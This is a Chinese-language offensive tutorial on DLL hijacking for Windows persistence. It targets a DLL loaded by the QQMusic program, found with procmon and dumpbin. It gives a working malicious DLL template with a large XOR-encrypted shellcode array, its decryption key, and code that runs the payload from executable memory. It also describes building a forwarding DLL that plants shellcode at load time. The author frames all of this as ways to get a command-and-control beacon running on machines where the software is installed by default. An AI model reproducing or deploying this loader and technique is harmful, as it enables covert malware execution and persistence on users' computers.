DLL劫持漏洞首先从挖洞角度来看,这个洞对厂商没有什么太大的意义,可能都会被忽略掉。但是从Windows系统持久化维权角度来看,是非常常用也很好用的方法之一,部分公司的某些产品在很多计算机都有默认安装,如果存在DLL劫持漏洞,那么作为白+黑(白程序+黑DLL)权限维持就很容易了。
DLL劫持原理首先来理解DLL在Windows系统中的作用,DLL全程Dynamic Link Library,称为动态链接库,在Windows系统中,太多数程序并不是一个单独的可执行文件,而是由一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL执行相应的功能,即DLL调用。
那么既然程序执行某些功能时,可能会通过DLL调用,从利用角度来看,如果替换了这个DLL文件,或者导出了原DLL的导出函数并恶意构造,在源程序调用正常DLL前调用了我们预先构造好的恶意DLL,那么就达到了劫持的效果。
所以手法可以有很多种,比如替换原DLL文件,黑DLL放置最先路径,DLL转发等。
而DLL劫持就是利用这个机制来进行攻击,原理如下:
动态链接库加载机制:在Windows操作系统种,应用程序使用动态链接库来引入和使用外部函数、类和资源等。当一个应用程序需要使用某个DLL文件种的功能时,它会先在指定的搜索路径(如应用的所在目录、系统目录等)种查找对应的DLL文件,并将其加载到内存中。恶意DLL替换:攻击者通过将恶意的DLL文件放置到应用程序可加载的目录种,并使用与目标DLL相同的名称来进行替换。这些目录通常包括应用程序所在的目录、系统目录和系统环境变量指定的目录。当应用程序启动或执行特定功能时,它会尝试加载对应的DLL文件。优先级顺序:由于加载DLL的优先级顺序,操作系统首先搜索应用程序所在目录,然后时系统目录和系统环境变量指定的目录。因此,如果恶意DLL与目标DLL同名并且位于应用程序所在目录,操作系统会优先加载攻击者提供的恶意DLL。恶意代码执行:攻击者可以利用这些恶意代码来进行各种恶意行为,如窃取敏感信息、远程操控系统、植入后门等。DLL搜索顺序这里还是详细说一下DLL的搜索顺序。正常程序运行时,应用程序可以通过指定完整路径、使用DLL重定向或通过使用清单来控制DLL的加载位置。
如果未使用这些方法,则系统在加载时搜索DLL。参考文档如下:
https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching 这里有几个比较重要的概念单独摘了出来。
在系统搜索DLL之前,它会检查以下内容:
如果内存中已加载同一模块名称的DLL,则无论加载的DLL位于哪个目录中,系统都使用加载的DLL,系统不搜索DLL。如果DLL位于运行应用程序的Windows版本的已知DLL列表中,则系统将使用其已知DLL(的副本和已知DLL的依赖DLL(如果有))。系统不搜索DLL。有关当前系统上的已知DLL的列表,请参阅以下注册表项: HKEY _ LOCAL MACHINE _ SYSTEM CurrentControlSet Control Session Manager KnownDLLs。 如果DLL具有依赖项,则系统会搜索依赖DLL,就像它们仅用模块名称加载一样。即使通过指定完整路径加载了第一个DLL,也是如此。
再者就是标准DLL搜索顺序,取决于一个叫做保险箱DLL搜索模式(SafeDllSearchMode)的Windows机制。
Windows XP sp2前:
Windows查找DLL的目录以及对应的顺序:
进程对应的应用程序所在目录;当前目录(Current Directory);系统目录(通过 GetSystemDirectory获取);16位系统目录;Windows目录(通过GetWindowsDirectory获取);PATH环境变量中的各个目录;Windows XPs sp2后:
默认启动了SafeDllSearchMode,注册表查询,开启则键值为1:
reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode"进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);系统目录(即%windir%system32);16位系统目录(即%windir%system);Windows目录(即%windir%);当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);PATH环境变量中的各个目录;请注意,这不包括应用路径注册表项指定的每个应用程序路径。计算DLL搜索路径时,不会使用应用路径密钥。如果SafeDllSearchMode已禁用,则搜索顺序如下所示:
从其中加载应用程序目录。当前目录系统目录(即%windir%system32);16位系统目录(即%windir%system);Windows目录(即%windir%);PATH环境变量中的各个目录;请注意,这不包括应用路径注册表项指定的每个应用程序路径。计算DLL搜索路径时,不会使用应用路径密钥。Windows 7后:
系统默认不存在SafeDllSearchMode,使用了KnowDLLs列表,注册表查询如下:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" 例:Windows 10 KnowDLLs:
所以,看完这些机制,如果想要尝试DLL劫持,只需要放置黑DLL在优先于正常DLL的目录,并且DLL本身不在Windows KnowDLLs列表中,就能达到DLL劫持的效果。
挖掘劫持的场景1.劫持存在的DLL
场景如下:已知目标存在必然会被使用的某个程序,希望劫持当前程序调用的DLL,所以在本地模拟了当前程序运行过程,发现了一个被调用的DLL。
这里用到了一个很好用的工具:procmon,这款工具时微软官方出的进程监视器,用于显示实时文件系统、注册表、和进程/线程活动,这里用于观察进程运行过程的DLL调用。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon这里我们拿QQMusic.exe来举例子。
通过运行procmon设置filter,运行QQMusic.exe观察DLL调用。
procmon的filter规则,可以设置指定processname,并且观察原程序path路径下的文件调用。如图所示配置filter:
之后配置完filter运行QQMusic.exe,可以看到当前进程所调用的所有文件。
然后我们接着配置filter,设置path的ends with 为.dll,即可看到当前进程运行时所加载的当前目录下的所有DLL。
可以看到如下图中,当前进程调用了很多系统的DLL以及当前文件夹下的DLL,其中我们不看系统的DLL,劫持系统DLL,会导致我们系统崩溃,所以我们只劫持文件夹下的DLL。
然后通过观察每个DLL的堆栈,我们发现了QQMusic.dll的堆栈,调用了LoadLibrary函数,说明当前DLL时被动态调用的,一般DLL中存在多个导出函数。
既然知道了,当前DLL被动态加载之后,我们顺势使用Vs自带的工具dumpbin来查看当前DLL具体用了哪个导出函数,方便我们写一个转发DLL,或者也可以直接用工具转发。
然后我们打开VS的命令行工具,进入到DLL的目录下
然后使用dumpbin /EXPORTS 查看当前dll的导出函数,可以看到导出的函数有很多,但是只有红框中的函数才是真正的导出函数,上面乱码部分的函数不是正常的。
手动制作DLL我们通过dumpbin 知道了有哪些导出函数了,然后我们定制修改指定的导出函数(在指定位置加入恶意代码)
我们使用VS2022使用动态加载库,然后再dllmain.cpp内写内容。当然我们这里把所有函数写进去,然后利用弹窗来看看程序在调用当前dll的时候首先先调用的那个函数。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include
extern "C" __declspec(dllexport) void DLL_QQMusic_Main() {
syste("calc");
} //只需要修改这里 这里格式必须为C格式 void DLL_QQMusic_Main()这里为原DLL内的导出函数即可
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}然后这里还有个重要的细节,就是到底是生成x86还是x64的一定要和原先的DLL一样,x64对x64,x86对x86,不清楚的可以使用CFF查看。
可以看到这里我们是32位的,所以我们生成x86的,然后运行库指定位MT即可生成解决方案,生成出来的dll我们放到原先位置即可。
然后我们把写好的DLL放进去之后,调用QQ音乐主程序。发现了弹窗10,也就是说明PerfPoin******这个函数最先被调用,然后我们把我们的恶意代码放到当前函数即可。
📎PixPin_2025-08-22_17-30-09.mp4
那既然都会弹calc了,那上线想必也是手拿把掐。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include
extern "C" __declspec(dllexport) void DLL_QQMusic_Main() {
unsigned char shellcode[]= { 0xf5, 0x91, 0xfa, 0x65, 0x63, 0x72, 0x5, 0xfd, 0x8e, 0x54, 0xb7, 0x1, 0xe6, 0x2b, 0x43, 0xee, 0x31, 0x7e, 0xee, 0x26, 0x7f, 0xee, 0x17, 0x4d, 0x62, 0xce, 0x39, 0x43, 0x52, 0x8d, 0x54, 0xb4, 0xc7, 0x59, 0x4, 0x19, 0x6f, 0x55, 0x53, 0xa4, 0xac, 0x7f, 0x64, 0xb3, 0x89, 0x95, 0x37, 0x32, 0xe6, 0x2b, 0x63, 0xee, 0x21, 0x4e, 0x64, 0xa4, 0xe0, 0x25, 0x1d, 0xe0, 0xad, 0xd, 0x39, 0x64, 0xb3, 0x22, 0xee, 0x3c, 0x73, 0xee, 0x3d, 0x45, 0x6c, 0xaa, 0x90, 0x59, 0x2a, 0xf9, 0x51, 0xff, 0x6a, 0xb3, 0x54, 0x9a, 0x5c, 0xb9, 0xdf, 0xa4, 0xac, 0x7f, 0x64, 0xb3, 0x53, 0x85, 0x10, 0x91, 0x6e, 0x4, 0x8b, 0x5e, 0x1e, 0x56, 0x10, 0x96, 0x33, 0xee, 0x3d, 0x41, 0x6c, 0xaa, 0x15, 0xee, 0x6f, 0x39, 0xee, 0x2c, 0x77, 0x64, 0xb6, 0xee, 0x69, 0xf2, 0x72, 0xb5, 0xea, 0x36, 0x41, 0x50, 0x30, 0x3e, 0x4, 0x3c, 0x37, 0x28, 0x8c, 0x85, 0x3b, 0x2d, 0x3f, 0xff, 0x79, 0x8e, 0xe3, 0x38, 0x5, 0x17, 0x16, 0x11, 0x63, 0x1a, 0x12, 0x1d, 0x5, 0xc, 0x31, 0xd, 0x21, 0xe, 0x55, 0x62, 0x9c, 0xa7, 0x54, 0x8b, 0x3c, 0x32, 0x32, 0x32, 0x3a, 0x11, 0x49, 0x33, 0x1a, 0xd5, 0x9a, 0xa1, 0x82, 0xe1, 0x65, 0x65, 0x6d, 0x22, 0x42, 0xac, 0x32, 0x23, 0xf, 0x77, 0x3a, 0x34, 0xd, 0xfd, 0x72, 0x79, 0x73, 0x36, 0x33, 0x1a, 0x32, 0xfd, 0xf4, 0xa3, 0x9a, 0xb0, 0x86, 0x9, 0x28, 0x54, 0xb1, 0x20, 0xd, 0x74, 0x69, 0x25, 0xe1, 0x37, 0x3f, 0x2b, 0x20, 0x37, 0x33, 0x1a, 0x8e, 0x21, 0x45, 0x5e, 0x9a, 0xb0, 0xe4, 0xbf, 0xf0, 0xa6, 0x33, 0x43, 0x9a, 0x23, 0x3c, 0xf, 0x9a, 0x36, 0x3b, 0x11, 0x5e, 0x63, 0x7b, 0x9, 0x9a, 0xa1, 0xee, 0xa5, 0x6a, 0xe1, 0xae, 0x78, 0x73, 0x65, 0x52, 0x8d, 0xe0, 0x82, 0x1f, 0x61, 0xec, 0x9c, 0x86, 0x70, 0x1b, 0xcf, 0xa6, 0x90, 0x38, 0x8b, 0xbe, 0xec, 0xa4, 0xd, 0x28, 0x58, 0x2d, 0x54, 0x9c, 0xa7, 0x54, 0x8b, 0x3c, 0xf, 0x62, 0x34, 0x3b, 0x29, 0x1b, 0xd2, 0x34, 0x92, 0x6e, 0x8b, 0xbe, 0xda, 0x65, 0x4a, 0x6d, 0x79, 0x4a, 0xa2, 0x17, 0xc5, 0x54, 0x8b, 0x82, 0xf4, 0x64, 0x65, 0x6d, 0x90, 0xba, 0x64, 0x63, 0x72, 0x8d, 0xff, 0x94, 0x9a, 0x9a, 0x4a, 0x5c, 0x3a, 0x9, 0xb, 0x63, 0xb9, 0xca, 0xac, 0xe0, 0xd, 0x52, 0xef, 0x5b, 0x94, 0x5b, 0x5a, 0x9b, 0x25, 0x7, 0x59, 0x9b, 0xdf, 0xde, 0x86, 0xc9, 0x68, 0x79, 0xf2, 0xf1, 0x51, 0x37, 0x8d, 0xf8, 0xdb, 0x22, 0x3f, 0xa6, 0xb4, 0xc, 0xe9, 0x22, 0xc2, 0x15, 0xc5, 0x9b, 0x4b, 0xb3, 0xe0, 0xbf, 0xda, 0x4f, 0x80, 0x40, 0xa5, 0xf1, 0x55, 0x38, 0xd4, 0xae, 0x4b, 0xb0, 0xcf, 0x6e, 0x62, 0x98, 0x34, 0x54, 0xe7, 0xc5, 0xe0, 0x13, 0xf9, 0x57, 0xa0, 0x53, 0x36, 0xd1, 0xa6, 0x65, 0x21, 0x18, 0x0, 0x17, 0x48, 0x2c, 0x1e, 0x16, 0xb, 0x17, 0x48, 0x45, 0x39, 0x4, 0x1f, 0xc, 0x9, 0x1, 0x18, 0x5c, 0x50, 0x4d, 0x42, 0x45, 0x5c, 0x8, 0xa, 0x8, 0x15, 0xc, 0xd, 0x1a, 0x7, 0xf, 0x17, 0x5e, 0x54, 0x26, 0x36, 0x2c, 0x20, 0x4d, 0x40, 0x5d, 0x55, 0x58, 0x52, 0x32, 0x1d, 0x5, 0x1, 0xa, 0x12, 0x1e, 0x59, 0x3d, 0x31, 0x43, 0x44, 0x4b, 0x45, 0x50, 0x45, 0x31, 0x17, 0x4, 0x1d, 0x16, 0xb, 0x17, 0x5d, 0x50, 0x5a, 0x5b, 0x5e, 0x45, 0x3d, 0xf, 0x16, 0xb, 0x4c, 0x6e, 0x78, 0x65, 0xa1, 0xd8, 0x30, 0x3f, 0x27, 0x4c, 0xe0, 0x97, 0x7a, 0xd1, 0x24, 0xba, 0x9f, 0x83, 0xc5, 0xf7, 0xd5, 0xf5, 0x74, 0xc4, 0x4b, 0x73, 0x61, 0xbc, 0xe8, 0xf0, 0x8e, 0x21, 0x2d, 0xa4, 0xf, 0xaf, 0xad, 0x11, 0x9e, 0xae, 0xf, 0x3e, 0x7a, 0xd6, 0x60, 0xa9, 0x33, 0x2c, 0xe4, 0xdc, 0x34, 0x3f, 0xc0, 0xe4, 0xe8, 0x34, 0x18, 0x65, 0xe4, 0xab, 0xa9, 0x2, 0x91, 0xec, 0x4e, 0xc8, 0x9f, 0x17, 0x28, 0x57, 0xef, 0x4e, 0x35, 0xfa, 0x88, 0xfe, 0xac, 0x38, 0xa, 0x36, 0x78, 0x93, 0x2c, 0x66, 0xe3, 0x4a, 0x3a, 0xac, 0x25, 0x93, 0x7f, 0xa8, 0x8d, 0xcc, 0x4, 0xef, 0xdf, 0xd6, 0xa9, 0xd1, 0x75, 0xe0, 0x2, 0xd0, 0xbd, 0x24, 0x36, 0x2d, 0xe, 0x2e, 0x6e, 0x3, 0x8, 0xa0, 0x2d, 0xa3, 0xd3, 0xf7, 0xe4, 0x99, 0x1f, 0xde, 0xfa, 0xf0, 0xef, 0xb9, 0xd6, 0x4, 0x2, 0xa3, 0x51, 0x5e, 0x57, 0x3e, 0xdd, 0x83, 0xaf, 0x1b, 0xed, 0xd0, 0x11, 0xda, 0x7, 0x89, 0x11, 0x88, 0x53, 0x55, 0x2b, 0x27, 0x32, 0x13, 0xc0, 0xe4, 0xe9, 0x87, 0x70, 0xdf, 0xeb, 0xc0, 0x93, 0x0, 0x37, 0xca, 0x50, 0x55, 0x9c, 0x39, 0x88, 0x59, 0xef, 0x24, 0x2a, 0xbd, 0xd1, 0x34, 0x26, 0xb4, 0x94, 0x9d, 0x66, 0x5, 0x4e, 0xd9, 0x38, 0xd3, 0xb1, 0xf5, 0xcb, 0xdb, 0xd4, 0xdf, 0x7, 0x3e, 0x21, 0x8f, 0x29, 0xea, 0x93, 0xeb, 0x22, 0x9c, 0x7b, 0x16, 0x21, 0xb1, 0x93, 0x20, 0x46, 0x2b, 0x69, 0x31, 0x5f, 0xf0, 0x51, 0xda, 0x1a, 0x34, 0xfe, 0xe4, 0x15, 0x92, 0xd3, 0x65, 0xd, 0x9d, 0xcc, 0xd1, 0x33, 0x9c, 0xa7, 0xf, 0x34, 0x3, 0x65, 0x75, 0x65, 0x6d, 0x11, 0x73, 0x65, 0x23, 0x72, 0x32, 0x1c, 0x33, 0xc1, 0x36, 0x80, 0x92, 0xac, 0xe0, 0xdc, 0x63, 0x72, 0x65, 0x74, 0x6a, 0xbc, 0x34, 0x36, 0xe4, 0x9e, 0x24, 0xd, 0x63, 0x52, 0x65, 0x74, 0x38, 0x33, 0xd, 0x77, 0xfb, 0xf0, 0x91, 0x9a, 0xb6, 0xf7, 0xa5, 0x0, 0xad, 0xee, 0x62, 0x64, 0xae, 0xfc, 0xb3, 0x10, 0x86, 0x2a, 0xa6, 0x9c, 0xc2, 0x98, 0x9a, 0x9a, 0x5c, 0x40, 0x41, 0x4b, 0x52, 0x44, 0x5d, 0x5a, 0x5a, 0x4b, 0x53, 0x65, 0x4a, 0xc5, 0xf5, 0xcf };
//异或后的shellcode
char first[] = "0x91";
//对第一个字节进行翻转
char key[] = "mysecretkeee";
//异或密钥
unsigned char code[sizeof(shellcode)] = {};
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//申请内存
memcpy(shellcode, first, 1);
//将第一个字节翻转回去
for (int i = 0; i < sizeof(shellcode); i++) {
code[i] = shellcode[i] ^ key[i % strlen(key)];
}
//异或解密
memcpy(exec, code, sizeof code);
//把shellcode复制到内存中
((void(*)())exec)();
//运行
} //只需要修改这里 这里格式必须为C格式 void DLL_QQMusic_Main()这里为原DLL内的导出函数即可
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
工具制作DLL这里我们使用的工具是来自看雪论坛大佬修改过的AheadLib
https://bbs.kanxue.com/thread-224408-1.htm 把DLL放进去,就会自动生成cpp文件,然后把内容进行简单修改即可。
既然是劫持存在的DLL,通过DLL转发需要修改原DLL名称,如果转发了所有的导出函数,这里加入恶意代码可以直接在DllMain入口函数加入恶意代码。
这里大概的逻辑就是首先我们先制作一个恶意dll与原dll同名,切把原dll后面加上ORG。然后在制作的dll里面将函数转发到原先的dll上,并在入口处调用calc。
📎PixPin_2025-08-22_17-40-51.mp4
然后在代码中隐藏一下DOS框,并插入shellcode就能上线了。
区别:就是利用工具进行DLL劫持可以能会触发死锁,所以最好还是手工劫持。另外利用场景基本也是权限维持之类的,基本不会用来钓鱼所以也不是很需要主程序正常运行。还有就是我的🐎不免杀。